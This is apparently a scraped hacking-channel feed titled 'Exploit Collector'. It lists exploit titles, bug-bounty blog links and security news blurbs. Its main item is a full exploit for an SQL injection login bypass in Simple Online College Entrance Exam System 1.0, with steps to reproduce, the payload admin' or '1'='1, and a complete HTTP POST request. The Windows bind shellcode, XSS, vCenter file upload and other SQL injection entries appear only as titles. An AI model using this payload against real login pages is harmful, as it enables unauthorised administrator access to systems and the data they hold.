Exploit Collector
Windows/x86 Bind TCP Shellcode

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Online College Entrance Exam System 1.0 SQL Injection

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Simple Online College Entrance Exam System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 13ddfc3db5cf5a6c83afdfffc8bd719f

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Mevlüt Yılmaz
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/entrance_exam/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /entrance_exam/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/entrance_exam/admin/login.php
Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n

username=admin'+or+'1'%3D'1&password=anything

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online DJ Booking Management System 1.0 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VMware vCenter Server Analytics (CEIP) Service File Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Traffic Offense Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Finding Sensitive Data Leaks In Code Using ShiftLeft CORE
https://blog.shiftleft.io/finding-sensitive-data-leaks-in-code-using-shiftleft-core-bdb0e1250a22?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Getting started with a source code review using ShiftLeft COREContinue reading on ShiftLeft Blog » (https://blog.shiftleft.io/finding-sensitive-data-leaks-in-code-using-shiftleft-core-bdb0e1250a22?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to find bugs
https://medium.com/@varanasidattasaijaideep/how-to-find-bugs-46076827c806?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How i found it.Continue reading on Medium » (https://medium.com/@varanasidattasaijaideep/how-to-find-bugs-46076827c806?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
New Regulations Are Coming — Get a Handle on Your App Portfolio

With the realization that any app could be a gateway for a larger attack, there will be more pressure than ever on companies to fully protect their entire application landscape.

Dark Reading: Attacks/Breaches
New Kaspersky Service Delivers Cyberthreat Insights on Request

Kaspersky's new Ask the Analyst service will allow businesses to reach out to the company's researchers for their opinions and guidance on cyberthreats and security issues.

___________________________
@hacking_Attack
@Hacking_Video